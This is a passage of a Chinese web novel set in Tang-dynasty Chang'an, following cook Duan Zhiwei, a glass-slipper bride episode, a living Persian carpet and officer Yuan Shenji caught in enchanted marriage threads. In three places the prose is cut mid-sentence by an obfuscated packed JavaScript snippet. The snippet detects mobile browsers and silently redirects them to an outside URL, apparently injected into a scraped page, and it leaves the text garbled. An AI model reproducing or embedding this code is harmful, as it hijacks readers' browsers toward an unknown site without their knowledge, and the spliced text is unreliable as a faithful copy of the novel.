按照段知微教的方法，袁慎己轻轻把小笼包夹起，咬上一小口，便是扑鼻而来的热气和浓香，里面滚烫鲜美的肉汁儿一下子满溢了出来，猪肉鲜美，皮冻浓郁醇厚，细嚼还能吃到鲜甜的笋丁和肉质紧实的虾仁，再沾上些醋，入口便油润而不腻了。 段知微坐一边看他吃，于是与他闲聊道：“都尉今日怎么有空到我这儿吃朝食？” 袁慎己因着夜巡，极少有空来食肆吃朝食，一般都是苏莯过来给他带些。今日能过来，也是为着陀汗国那事儿置气，索性溜出来躲个清闲。 今日正巧是段大娘去上香的日子，拎着香烛篮子回来，一连叠声儿道：“哎呦呦外头好热闹，几个大明宫的女官乘着辆彩绸牛车出宫，旁边两个武侯跟着，好大的气派。” 袁慎己沉下脸来，把事情跟段知微一说。 这可真是无巧不成书，段知微激动地蹦跳起来：“都尉怎么不问问我呀，我知道陀国国王寻的那娘子是何人，我还去过她府邸呢。” 袁慎己猛地抬起头来。 另一边，李兰的妹妹李芍仍对着铜镜给自己上口脂，李母着急去趟府邸门口，又进到她绣房道：“也不知何时到我们这儿。” 李芍对着镜子照上一会儿，胸有成竹道：“母亲放心，女儿这般品貌，定然能被陀汗国国王看上。” 李母点点头。 定远将军李炎突发恶疾离世后，李府立时便没落了，原先那些阿谀谄媚的人全部不见了，她一个人带着女儿艰难，若是女儿能成为一国的王后，她定然要再去那些裙幄宴上好好显摆一番。 李芍描眉问：“她呢？” 李母嫌恶的挑了挑眉：“那个怪胎，在她自己房间里，不过为了防止节外生枝，我将她门锁了。” 李芍这才放了心， 过了午时，大明宫的女官才悠悠到了这家，宫中女官都是人精，最会见人下菜碟的，到了那钟鸣鼎食之家，各种对着贵女赔小心，这会儿也知李府没落，也只是面无表情的略尽职责。 那绣鞋也不算小，李芍毕竟是贵女，脚也不算大，可就是怎么塞都塞不进去，李母急得亲自要蹲下身帮她塞。 结果鞋子像有灵性的自己弹了出去。 李母咬牙发狠道：“干脆把脚后跟削掉？你成了王后，自有丫鬟搀扶。” 李芍吓得脸色苍白，又见到那女官一脸鄙夷，只得咬牙应下。 结果女官蔑视她们一眼道：“若是削了足，那可不能算。” 女官皮笑肉不笑地拾起绣鞋，放进锦盒中，就要跟呆若木鸡的二人告辞。 李兰靠在门后，手上的铜镜里竟然放着前厅的一举一动，她冷笑一声，刚要念咒解开门上的落锁，就见到铜镜出现一个熟悉的身影，她放下手指。 段知微跟着袁慎己赶来，两位女官虽然不认识她，却也认得这位服绯的四品大员，都很有礼貌的朝他行礼。 段知微道：“这鞋是属于前定远将军李炎的长女李兰的，她就住在后院里，我前两日刚见过她。” “哦？”宫中女官眼神犀利起来，盯着李母二人看了一会儿:“那就麻烦这位好心的娘子带我们去一趟了。” 虽然李母两人各种阻拦，架不住两位魁梧的武侯将她们拎到一旁。 李兰的绣房果然被一大铜锁儿锁住，武侯拿着陌刀凿开铜锁儿，就望见坐在地上惴惴哭泣的李兰，她仍穿着那身灰色夹袄的旧裙儿，手上捧着另一只镶着金珍珠的绣鞋。 见有响动，她抬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809274|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头，一滴香泪顺着粉腮儿坠下，看上去好不可怜。 ...... 段家食肆这回食客多到排到宣阳坊外头去了，当然这回众人并不是为了翡翠烧麦、也不是为了小笼汤包，而只是为了陀汗国国王与宗女李兰的爱情故事，段知微做菜的空儿都没了，只站在食肆前头，起个说书先生的作用。 王妃李兰临别长安那日，特意坐着由四驼骆驼驾着的高大香车饶到段家食肆与段知微拜别，还送了她几颗珍珠作为临别礼物，给足了段知微面子，也将默默无闻的段家食肆在长安一炮打响。 段知微临行前还担心问她：“你的母亲与妹妹没有再为难你吧。” 李兰微笑着摇摇头，她已经身着长安最时兴的双鹿花朝霞裙，一头璀璨的珠翠，脚上则踏着那双镶嵌金珍珠的绣鞋，全然没了灰衣畏缩的模样。 她饱望着段知微，满含深意道：“她们不会有机会再为难任何人了。” 段知微这两日总觉得李兰道别那日看着不对劲，却也说不上个所以然，加上这两天实在是太忙，也就随她去吧。 这日食肆来了个稀客，竟然是好久没见到的捉妖寺律令独孤，他散着头发穿一宽大白袍，后面牵着两头驴，十分潇洒地走进了食肆。 段知微走过来想帮他牵驴，那驴却很是暴躁的要咬她的袖子。 段知微“嘿”了一声道：“独孤律令您家这驴可真暴躁，这谁敢骑啊。” 独孤饮下一杯茶道：“可不是，我从李府的仆人手中买下这驴的时候，那下人道，这驴野得狠，王妃去陀汗国前可叮嘱了这两头驴野，骑不了，最好拉去药肆熬阿胶。是我好说歹说才买下了。” 段知微好奇：“李兰的府邸吗？她家还有驴啊，我怎未知。”而后小声抱怨道：“有两头呢，自己驾着驴车去曲江不就好了。” 有食客喊她，她忙扭身走了。 只剩那一老一少两头驴干着急，那小驴耳边有朵肖似芍药的花，见段知微走远，大眼中垂下泪来。 此刻，幽州最大的酒楼被陀汗国国王给包下来了，寻常客人都不能进入。 而酒楼的大幕则将将拉开，大厅里衣香鬓影，觥筹交错。舞台两侧的朱色帐幔随风飘动，底部坠着的青玉石叮当作响。 已有一队胡女在丝竹声中开始蹁跹作舞，整个大厅里浓馥的珠翠香和酒香交至在一起，熏的人面如桃花，入目皆是金迷纸醉。 陀汗国国王搂着两位貌美胡姬，正一碗一碗的饮酒，而后对着旁边的国师狂笑：“国师预言的真准，那长安城里头果然有一副能找到宝藏的鱼骨。” 国师谄媚笑道：“殿下此刻搂着两位胡姬，王妃当不高兴了，万一她不交出......” 国王摔了杯子：“那枯瘦的长安女子有何意趣？哪儿有这丰腴的胡姬貌美？她还敢不交出鱼骨？待到了孤的地盘上......” 他喝多了酒，状若癫狂，完全没了在长安的儒雅与守礼。也没发觉静静立在屏风后的李兰。 她回了自己的房间，手中多了一份从国师那偷来的红袋子，从里头捏出一把土撒在地上，地上突然出现一条奔流的大河。 再把麦种子埋进土中，用河水浇灌，麦子开始抽芽，结穗。 她收集好麦子，又磨成粉末，晃了晃想，这面粉做什么呢？要不，做长安城里那位好心的娘子教的翡翠烧麦吧。 只可惜了她一大早到了鸿胪寺，又跟着译语和外使到了那段家食肆，没想到这个国王是此等货色。 她又瞧了眼手上的面粉。 外面那第三头驴。 一定会喜欢。 她想。 51. 第五十一章 上元前夕 在穿越之前，段知微一直认为，一年中最大、最热闹的节日当然是春节啊，春节是一年间家人团聚的时候，也是放假时间最长的假期。春节就是要待在火炉边，吃一周的腊肉香肠各种零食再收红包什么的，没有什么节日比春节更重要了。 没想到穿越以后，周边人一致认为元宵才是一年最热闹的节日。 段知微很纳闷，怎么会是元宵呢？元宵又不放假，现实又狠狠打了她的脸。 现在她上东西两市买东西，周围的叫卖声都从单一的长安口音变成了各色起此彼伏的异国口音。大秦、楼兰、天竺、波斯、大食、高丽、东瀛的商人或驾着骆驼长队自沙漠穿行而来，或行驶大船无惧滔天海浪的风险而来，都只为争相将奇珍异宝运往长安。 毕竟啊，长安的达官贵人在上元这样的大节是最最舍得花银子的。 现如今段知微的食肆每日都坐得满满当当，除了长安本地的食客，许多胡商找不到地方吃饭，也跑过来，食肆就那么几个食案也不太够，恰逢隔壁卖脂粉首饰的肆主要转让肆铺，便立刻被段知微拿下了。 段知微找了工匠，赶工期要把两间肆铺的墙推倒连成一家，隔壁的铺子也要再重新装修一番，成天上蹿下跳忙得不亦乐乎的。 不过食客多，闹事儿的竟然也多了起来。一个自大食而来的中年人在段家食肆喝了半日闷酒，又不肯给钱，向他讨要，竟然还开始在店里撒酒疯。 还在食肆摔坏了两个碟一个盏儿，气得段大娘一连迭声要去报官，最后长安县来了两个武侯，把这失心疯的胡人拖出了食肆。 段知微道：“且慢，这胡商点了一碟兰花干配一壶绿蚁酒没给钱，还砸坏了我这小店的碟儿和盏儿。” 武侯也很为难，知道金吾卫是这儿的常客，轻易也不敢得罪她，于是用商量的口吻道：“段娘子，这落魄胡商一看就没什么钱，你让他赔什么呀？” 武侯在醉醺醺的胡商身边看了一圈道：“他包袱里有个波斯织毯，要不给你当抵押了吧。” 波斯织毯一向昂贵，只他这毯子又脏又破还落满了灰，段知微不太想要。 却听得胡人骂骂咧咧道：“可恶的阿拉丁......若不是他坏我好事儿，关键时刻掉链子，我已经拿到了神灯，坐拥天下，雪白的饼皮，透明的醇酒享之不尽，何必落魄至此。” 段知微见这人疯得厉害，只好被迫收了这织毯，让两个武侯把他拖走了。 那破毯子就往食肆角落一扔，也不会有小偷去多看他一眼。 接下来她盘算着要做些元宵的美食。 上元佳节，开市燃灯，街市如鼎沸，花灯不夜时。 上元的食物也丰富多样，什么丝笼、焦追、面茧，都是黄澄澄的油炸食物，段知微上元三日并不想把自己搞得一身油烟味。 毕竟上元花灯如昼，她作为一个现代人，自然是要抽出时间去坊市间观赏花灯盛况啊。 那只能煮膏糜和元宵了，膏糜是一款加了肉熬煮的粥，这种粥是正月十五用来妇女们用来迎紫姑的。 紫姑是位主要保护底层妇女的神明，通过占卜预测蚕桑收成，段大娘很尊重这位神明，连着念叨了几日要段知微熬煮出最好的膏糜。 另一种便是元宵了，时人称元宵为“浮元子”“乳糖圆子”，段知微去街市上逛了一圈，品尝了好几碗圆子，此时的圆子还是实心的，没有馅，咬一口就是糯米粉团的滋味，讲究的人家顶多在汤里加些糖或蜜渍桂花。 机会这不就来了吗？在经历过火锅的打击之后，段知微终于有了一道，古人未想出来而她想出来的美食了。 那就是包馅儿的圆子。 段知微准备了黑芝麻馅的、枣泥坚果馅的和山楂馅三种口味，趁着天气还冷，她也在后院冻了一些，食客也可以买那些冻得梆硬的圆子自己回家煮。 将一大锅热水煮到沸腾再将颗颗汤圆下锅，圆滚滚的汤圆们在水中不停碰撞翻滚，而后膨胀变大，熟透浮起。 段知微特意选了仿白玉小碗，汤圆簇拥在里面仿佛也更加透亮，段知微又额外搁了一勺桂花蜜在里头。 蒲桃忍着烫儿咬开软糯的糯米皮，黑芝麻糖馅儿如同顺滑的丝绸淌下滴到汤中，枣泥坚果的则是比较有嚼劲，嚼着嚼着坚果的香气便在口中扩散开来。 最后再咬上一口山楂馅儿的，红色的馅与糯米皮相映成趣，酸甜可口，既解了软糯外皮的腻儿，又丰富了口感，蒲桃几口把汤圆吞掉，又端着碗对着段知微撒娇：“再来一碗。” 她连吃了三碗，实在是吃不动了往羊皮褥子上一躺，摸了摸滚圆的肚子道：“为何给紫姑供奉膏糜啊，明明元宵更好吃。” 被段大娘阻止：“可不敢胡说，怎么能对紫姑没礼貌。” 看到汤圆很成功，段知微放心找了个木板，画上一碗热腾腾元宵，而后配上一首《咏圆子》：“六街灯市，争圆斗小，玉碗频供。香浮兰麝，寒消齿颊，粉脸生红。”挂到了食肆大门口。 做完这些，她就被段大娘提溜到后院，地上放着那块脏兮兮的波斯织毯。 段大娘绣活儿倒是很不错，毕竟这毯子也是块外来货，便想着浆洗几遍，再缝缝补补，能卖上多少钱算多少钱。 那也行吧，段知微去井里打了一桶儿水，泼到毯子上头，再拿了个马鬃的毛刷子开始浆洗起来。 前前后后浆洗了三遍，澡豆儿都不知道用了多少，黑水就着泡沫一遍遍流淌出来，终于上面精美的植物花卉刺绣和几何图案重新显现了出来。 段大娘喜不自胜道“这织毯真不错，再好好修补一番定然能卖上些好价钱。”就好像嚷嚷着这破毯子谁要，非让那胡商赔钱的人不是她。 “算了吧姑母，前厅还有活呢。”两人把织毯搬到阳光足的空地上晾晒，而后段知微拉着段大娘离开了。 织毯在后院平静的躺了会儿，而后自己立了起来，疯狂甩掉身上的水花，惊飞了附近的鸟儿。 而后它又躺了回去。 袁慎己自春节以来就一直住在官署里头，一天都没有回过袁府，他打定主意只要那群人在袁府住一日，他便不会回去，任凭袁府的老管家、仆妇一遍遍的来官署请他。 这日他刚自校场回来，正准备打桶热水擦洗擦洗身子，老管家又颤颤巍巍过来找他，说是府上多了个貌美的年轻女郎。 “主君和娘子已经拿了对方的庚帖，要跟都尉的合一合，然后......”剩下的不必再多说了，男未婚女未嫁，合庚帖能做什么？

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818976|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 袁慎己冷笑一声，手伸得倒是挺长，自己岂会被他们左右？当下便重新配上明光甲要回府与之理论一番。 也只半月不见，袁府已然换了幅天地，门口的两侧历经风霜的石狮被重新了一番，虽然上了蜡以后更加气派，却少了些傲霜的风骨。 迈过连廊，花园里被种了各色花树，正是寒冬腊月，大片鹅黄腊梅的清香扑鼻而来，却徒惹他焦躁不安。 终于到了水榭，林氏正在低头逢衣裳，见到他开心过来迎他：“大郎回来了。” 袁慎己毫不掩饰眼里的厌恶，往后推了两步：“谁准许你们容留个外人住在某的府邸？” 林氏站定不动望他：“外人？大郎不是一直在寻凉州城外、姑臧山脚救你的恩人吗？我们替你寻来了。” 有人自水榭外轻轻走了进来，那人身着一身鹅黄素色夹袄，头上只用一小枝红柳当簪子盘住头发，举止优雅，一脸期待且害羞地抬头望他：“小恩无须介怀，只是凉州城外一别，小一年不见，妾身申屠月容，见过都尉。” 申屠、段、池，乃是凉州西平郡最大的三姓氏。 袁慎己忆起梦中的那位娘子，那日极大风雪，她低头解下袁慎己腰间的陌刀，以一种十分滑稽的姿势砍断了两棵小树，艰难地把树垫在他身下，而后牵起缰绳，在极大的风雪中拖着他行走。 袁慎己只记得她那日便是穿了很厚实的黄色夹袄，头上用一株红柳非常随意地盘上了一个小发髻。 边走边给自己加油打气。 后来又寻了一个小小的洞穴，生了火，然后坐在一边碎碎念，抱怨他好重好高，干脆直接丢了他算了。 虽然嘴上这么说着，只是到最后都没有狠心扔掉他，还化了一捧雪水喂给他喝，边喝边向他讨要黄金百两作为救人的报酬。 而后又道：“不对啊，救命是大恩，瞅着你官职不低，那我要三完六千贯钱好了，买上一处宅邸，再加几个仆人。” 袁慎己迷迷糊糊地听她念叨，他想对她说声对不起啊，确实是自己太重了，又想说三万六千贯他暂时还给不起，能不能便宜一点，或者请她再多等一等，自己很快便去长安任职了，薪俸会高一点，一定能给她凑满三万六千贯钱。 最后他实在是撑不住了，还是昏睡了过去。 他救过许多人，荒凉边境的百姓，被敌国掠走的俘虏，在长安金吾卫轮值后，又救过不少人，只有唯一的那个人救过自己。 他始终记得的，那位坚强、勇敢、明亮又善良的姑娘。 他也在凉州找寻过很多次，可凉州城实在是太大了，袁慎己骑着他的马在凉州里一圈一圈的绕，当垆的胡姬笑得魅惑邀请他观看一曲柘枝舞，他不理；果肆的小娘子红着脸送他一碗摘好的红石榴，他也拒绝。 他只是想找到那位救了自己的娘子而已。 可惜一直挨到长安上任，他也没找到人，最后他只能在凉州外无尽的荒漠中向着长生天许愿。 长生天也念他一生坎坷多劫，将那位明媚的姑娘从凉州送到长安，在槐花扑鼻的五月与她再遇了。 想到这儿，袁慎己低头望向申屠月容，后者回给他一个温婉又美丽的微笑。 袁慎己也笑了。 是气笑的。 52. 第五十二章 段家食肆做的有馅儿的汤圆大受欢迎，特别是那种放在后院里冻的硬邦邦的，用个攒锦盒子一装，许多贵人家打发了家奴过来买，样子精美，回府只需在沸水里走一遭，一锅软糯香甜的元宵便出锅了，很适合元宵节用来送礼。 都说“月上柳梢头，人约黄昏后”，对于年轻又多情的长安娘子和郎君来说，元宵节除了看花灯，也多了些情人节的意味。 于是聪明的长安人特意在这充斥暧昧的大节前夕在东市搭一处白棚子，开了好大一处傀儡戏讲些痴男怨女的爱情故事，天天彩旗飘飘锣鼓宣天好不热闹。 今日是演一出定婚店，改编自李复言的《续幽怪录》，据说有一名叫韦固的少年，有天夜晚在宋城偶遇一位在月光底下看书的银发老人，韦固便上前询问，老人回答他是在看婚书，婚书上写着天下男女的姓名。 又问其行囊里头是何物，老人答：“是用来系在男女脚踝上的红绳，红绳一系，姻缘天定，即便是仇人，也会结为夫妻。” 老人对韦固道：“旅舍附近有个卖菜的陈婆，她有个三岁的女儿，正是你未来的夫人”。韦固前去一看，却嫌那襁褓中的女孩年幼且粗鄙，于是命令家仆要刺杀她，没想到那家仆心一荒，只刺中了女孩的额中心。 韦固十余年后果然成了亲，却发觉妻子常年眉心贴着花钿，仔细一问，才知十来年前有人刺中她的眉心，这女孩正是当年那位襁褓中的小女孩。 这才是所谓姻缘前定。 这道傀儡戏配乐磅礴大气，傀儡也做的逼真，那月老精致到了每根头发丝儿，被细丝儿牵动的时候惟妙惟肖，剧情也算一波三折，赢得周遭一片叫好事。 段知微本来只想来东市找胡人淘一些便宜又好用的异国香料用来卤肉什么的，被蒲桃生拽硬拉过来，给戏班子交了三十文钱，两人看了将近一个多时辰的定婚店。 虽是寒冬腊月，白棚子里坐满了人，这故事又十分离谱，扰得她透不过气，好容易结束了回到食肆，蒲桃兴奋跑去跟段大娘讲这定婚店的内容。 “这出戏有意思吗？”阿盘一边剥蒜一边问。 段知微本就被热烘烘的人群搞得烦躁，听她这么一说立刻如同吃了几口炮竹道：“这出戏简直是离谱，那韦固就因为嫌人女儿粗鄙，派了个家仆去刺杀，这跟杀人犯有什么区别，最后还白得了一如花似玉的夫人。” 她冷笑一声：“还姻缘不可变，牵上了个红绳就不可变了吗，此等烂人，就该甩他一纸和离书，再压他去大理寺，按照谋杀未遂判个流放。” 段知微有些激动，嗓门都提高了几分，周遭食客都停止了交谈凝神听她高谈阔论。最后还是段大娘实在听不下去，给她塞上一口汤圆：“行了这位大理寺卿，别说了，在外头耽误了一下午，赶紧干活。” 段知微不情不愿的进了火房开始切菜。 另一边，袁慎己已然了解这位凉州“恩人”的目的，因此略带讥讽望向申屠：“既如此，你想要多少银钱作为回报？” 申屠月容的笑容僵在脸上。还是林氏赶紧过来打圆场：“大郎今日怕不是多饮了几杯，怎么开始说胡话了，你这意思人家女郎是胁恩求财了？” 袁慎己冷哼一声，转身大步离开，他确实准备去段家食肆向心仪的姑娘讨上一杯新酿的新丰酒，但是在那之前要写一封信快马送回凉州都护府，问问这冒名顶替的恩人究竟是个什么来路。 为了用袁府的快马，他今日难得留在了府中，也被迫和那家人一起用暮食。 林氏高兴地张罗了一桌子佳肴，袁慎己却无端怀念起段家食肆里大家真诚的笑脸，他心下烦躁想走，却被阿耶沉着脸阻止：“你也老大不小了，也该成个家了。” 林氏在一旁添油加醋：“既然凉州恩人也找到了，此乃月老所牵，天作之合，正巧申屠家族与我们袁氏也有些旧交，正是一桩合适姻缘......” 袁慎己觉得自己这两年脾气还是太好了，搁在以前都要掀桌了，他刚欲站起来反对，却发现自己突然无法开口说话了。 见他不答，林氏笑着说：“大郎这是答应了，真是太好了。” 袁燮这才露出个满意的微笑。 只剩袁慎己内心滔天骇浪，他是怎么了？ 接下来两天，袁慎己发现，自己只要对这桩令人作呕的亲事做出任何反对的话语或动作，立时便像被定住无法动弹，也不能说话，只能眼睁睁看着自己那讨厌的后母跟官媒敲定了三牲六礼。 他决定不能再这样下去，于是策马先到了段家食肆。 因元宵的关系，段知微这些日子都埋首在面粉团里，喝口水的时间都没有，抬头看见他，露出个欣喜的笑：“都尉来了，挑个位置坐，今日请你吃元宵啊。” 他难得有些脆弱，想跟她诉说，望着她那双亮晶晶的眼眸，却怎么也说不出口，耳边却突然传来一声懒洋洋的问候：“袁都尉许久不见，怎么身上一股浓厚的妖气。” 袁慎己转头，发现捉妖司律令独孤正坐在食案边，手上拿一碗汤圆。 “什么妖气？”段知微也放下手中的面团，张望两眼，又一把夺过独孤手上的碗：“别吃了你快给他看看。”她焦急道。 袁慎己只好把最近发生的奇怪事情都说了出来。 段知微气得大骂：“好厚的脸皮，那凉州城外，明明是......” 明明是我救了你,她有点委屈的想。 独孤颇有深意望两人一眼：“拿上些面粉，去后院。” 段知微不明所以，只好背上一袋面粉跟他们去了僻静的后院。 而后独孤捻上一个口诀，双目轻阖，围着袁慎己绕了三圈，突然拿起段知微手上的面粉朝着袁慎己洒了过去。 面粉倒是没在他身上落下什么痕迹，只他周围，足部，腕部，颈部各处都显现出一圈密密麻麻的红线，上面积着许多面粉，像积雪。 “啧啧啧”独孤自己也叹为观止“这月老牵红线，向来只在男女脚踝牵上一根为引，哪儿的地仙学术不精，给全身都缠上的。” 段知微本就对那定婚店的一出傀儡戏诸多不满：“这哪儿是牵红线啊，像是在牵傀儡。”而后又着急道：“那快给他解开啊。” 独孤摇摇头道：“解铃还须系铃人，此姻缘事还需得向月下老人请教。” 段知微没好气答道：“你说得轻巧，月下老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823266|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人是我想见到就能见到的？” 独孤正等她这话：“段娘子若是愿意割爱，将那波斯织毯送某，某就帮你们。” 本来那毯子就无甚用处，因此她很大方道：“拿去，拿去。” 上元第一日，果然是花市灯如昼，街头巷尾千树万树繁花绽放，这花儿也非鲜艳花朵，而是千般姿态、绘着奇珍异兽，天上仙子的各色花灯，街上游人如织，孩童拿着糖人儿在街巷间穿梭。 段家食肆卖完最后一波元宵，早早打了烊，段大娘她们换上最好的衣裙和钗环，上西市逛花灯去了。 段知微虽然也期待，但是有更重要的事情要做，也只好罢了。 今夜月光皎洁，泼洒在□□如同一片青霜，她与袁慎己拿了独孤赠与的线香，对着月光一起拜了三拜，线香的烟气化作一丝游移的红线朝着远方蹿了出去。 二人跟了过去，想来宣阳坊的百姓全部跑去看花灯了，坊间小路只有他们走在青石板上。 饶了好几个路口，红线挂到了一棵巨大的桂花树上，一位老人坐在树下正在低头看书，远方东市的方向绽放了巨大的烟花。 跟他格格不入。 段知微二人对视上一眼，走了过去。 老人收起书，他长得颇为和蔼可亲：“二位用红线香请某来此，可是求问姻缘。” 袁慎己把自己身上缠着各色红线的事情出了一遍，老人借着月光查看了一番，又低头翻了翻手上婚书：“此红线非某所绑，有痴情女子供奉二十年寿命只为求得这段姻缘。” “二十年寿命？”段知微咋舌，真是个狠人啊。 月老继续道：“此事解铃还须系铃人。” 段知微对此不太满意。 回去的路上，她偏头望袁慎己一眼，再望一眼。 袁慎己虽也满心焦虑，见她这样却也颇觉好笑：“段娘子为何这样看某？” “都尉真是好福气，竟有女郎愿牺牲二十年寿命都要嫁给你。”她阴阳怪气。 袁慎己摇头：“性命是何等珍贵之物，边疆年年战乱，突厥多有进犯，百姓民不聊生，最渴望的便是安居乐业，竟有人愿意牺牲性命在此等事上，实在可笑。” 谁家的娘子遇到这块捂不热的硬石头，段知微想了想因问道：“那位申屠娘子真是都尉在凉州的恩人吗？” 她此话带了些试探，毕竟救他的时候，这位英武高大的四品都尉全程惨白着脸紧闭双眼，有没有呼吸了她都不敢确定。 袁慎己很想逗逗她：“若真是她......” “当如何？”段知微急切地问。 袁慎己弯腰，一片高大身形笼罩在她身上：“那袁某便送上三万六千贯钱当做报恩了。” 段知微瞪圆眼睛，整整三万六千贯钱，那可是白花花的银子，她快步追上袁慎己：“是真的吗，真愿意给这么多钱吗？” 袁慎己不答，他郁闷烦躁的心绪一扫而空，此刻忍不住笑了，只剩一个可爱的小尾巴跟在后面不断唠叨。 “你一定不能识错人啊，这可不是小钱啊，可以在东市开一酒楼啊，若是给错人了，那不是得怄死，等等袁都尉你倒是听我说话啊！” 53. 第五十三章 元宵第二日早晨，整个长安城都静悄悄的一片儿。 毕竟这一夜鱼龙舞下来，大家都累得不行，也没人能爬得起来用上一碗朝食，直直睡到了太阳挂到头顶的时分，宣阳坊间的路上才渐次有了些行人。 食肆众人脸上都挂上了两个黑眼圈，尤其是蒲桃，她攒了几月的工钱元宵第一夜便差不多买零嘴花光了，又跟交好的小娘子在如昼的花市间穿梭打闹，此刻像团棉花侧瘫在食案上萎靡不振。 段大娘则是豪爽的脂粉钗环买了几盒，逛了一宿儿直直嚷着腰疼。 唯有段知微还稍微支撑的住，她昨夜见完月下老人也未去西市闲逛，直接便回食肆睡觉了。 此刻日头正好，有食客前两日定了面茧，她须得现做才是。 所谓面茧儿，也就是面团捏个茧儿状烘烤熟了便罢，有些食肆做面茧，连糖都不放，就干干白白没味儿的往那一摆，照样有食客买账。 只因这面茧并不图吃个滋味，而只是在面茧中塞上一写着祈福的小纸条，上元应个景儿图个吉利也就罢了。 搁在现代来讲的话，有点儿像餐后的幸运小饼干。 因此段知微也准备将这面茧当做饼干来做，早早订好了花灯样式的木头模具，面糊儿里头也是加足了鸡蛋、牛奶和白糖。 只是祈福小纸条写些什么还需好好思考一番，甄回首当其冲便提出要写一张暗含春闱高中的字条。 三月春闱在即，他看上十分的焦虑，每日除了躲在小库房里念书，便是全长安城的孔子庙循环拜上一圈。 段知微觉得甄回最近行为举止过于夸张，但又觉得他这个建议很是有些道理，毕竟很多书生是食肆的常客。 于是也就真写了张“杏园高中”，而后又写了些“富贵荣华”“青春永驻”“艳冠群芳”“必得佳婿”包在面茧里头。 中午几个零散食客坐里头，基本都是等候春闱的学子，一面嫌弃这“富贵荣华”过于庸俗，不符合孔孟之道，一边明里暗里精挑细选，试图将那“杏园高中”“富贵荣华”一起囊括到手。 段知微悄悄塞了个杏园高中给了甄回，后者立刻便出了门，要将这面茧供奉到孔夫子面前。 段家食肆的面茧做成了花灯形状，小巧玲珑，口感饱满又扎实，细细咀嚼便是浓郁牛奶香与淡淡麦子的香气在唇齿间散开，再加上祈福贴上的小字虽然不够风雅但实在是深得人心，于是这面茧儿倒是很受欢迎，一下午便卖光了。 元宵第二日，今夜花市定然会更加热闹，段知微便多做了些面茧，准备去西市上分发，就当为自家食肆打广告。 岂料段大娘笑得一脸暧昧道：“知道今日你有那‘月上柳梢头’的约儿，这儿我来，你赶紧去吧。” 段知微：“不......不是那样的。” 另一边，袁府里头，林氏拖着一脸羞怯的申屠月容带到袁慎己面前，她今日也盛装打扮了一番，穿着昂贵的鸦青十样花绫纹裙，头上一枝金雀簪，也是明丽动人。 袁慎己长身而立，他成日在这府中眉目深沉好像别人欠了他几万贯钱，今日倒是略微显得平易近人了一点。 他打量一下申屠月容，而后温和道：“走吧。” 林氏满面笑容的一直将他们送到门边，见二人走远，这才敛去了笑容，凤仙精心染就的长指甲死死掐进肉里，而后冷声道：“他不是一直抗拒和那申屠娘子往来吗，今日怎么突然转了性子。” 一旁侍候她的丫鬟哀求：“娘子求您了，可千万别被人看出来......” 林氏这才宛如从梦里惊醒，又换上那副柔顺温和的表情：“吾儿午睡醒了吗，妾去瞧瞧......” 这边段知微抱着个汤婆子在西市入口处站了小半日，正月天寒，她冻得蹦跶了几下，终于听到了熟悉的声音。 袁慎己坐在马车之上，正准备按照商量好的与段知微“偶遇”，却突然卡了壳儿。 她今日梳了一个较高的漆髻，难得穿了身石榴红的对锦连珠襦裙，又罩了一层白色仿狐裘披风，段大娘又略微给她上了点胭脂和口脂，她本就生的白净，这么一打扮，显得愈发的眉目妍丽。 从袁慎己的角度看去，像粉雕玉砌的仙女像，他心动的说不出话来。 这边段知微还等着接戏呢，看他不说话，焦急地不行，只好硬着头皮自己发挥：“原来是袁都尉，许久不见，这是要去西市看花灯吗？” 袁慎己这才回过神来，而后点了点头道：“此地离西市甚远，段娘子不妨乘袁某的马车一道儿。” 段知微很想笑，憋得满目通红，低着头爬上了马车。 申屠月容在马车里听他与一年轻娘子交谈已经甚觉不安，段知微打了帘子毫不客气往里头一坐，二人打了个照面，彼此好奇的看了起来。 申屠见段知微也生得娇俏美貌，内心更加不安，于是问：“这位娘子是？” 袁慎己隔着帘子插话道：“是袁某的旧交。” 他这人待人接物都冷硬，从来也不近个女色，怎会有这种旧交，申屠想细细问一下，却也知不妥，最后张了张嘴只道：“妾身申屠月容，敢问娘子芳名？” 段知微倒是一脸从容笑得欢畅：“娘子竟姓申屠吗？西平申屠氏吗？那感情好，妾身名唤知微，出自西平段氏，看来我与申屠娘子也算得上半个旧交了。” 袁慎己的旧交，出自凉州西平段氏，申屠月容脸色变了几变，最后强撑出一个笑脸：“那可真是缘分了。” 西市华灯初上，两侧已经挂上各色灯笼将夜市照得通明，打铁匠人打出万千争奇斗艳的火树银花，如同颗颗繁星如雨坠落人间。 人潮如织，处处有惊叹欣喜与欢声笑语，段知微虽然也经历了曲江与终南山的繁华，也被这拥挤人群吓了一跳，还好有袁慎己这个浑身散发肃杀之气的冷面阎王在，他又生得高大，像一面墙挡着她和人群，段知微心下稍安。 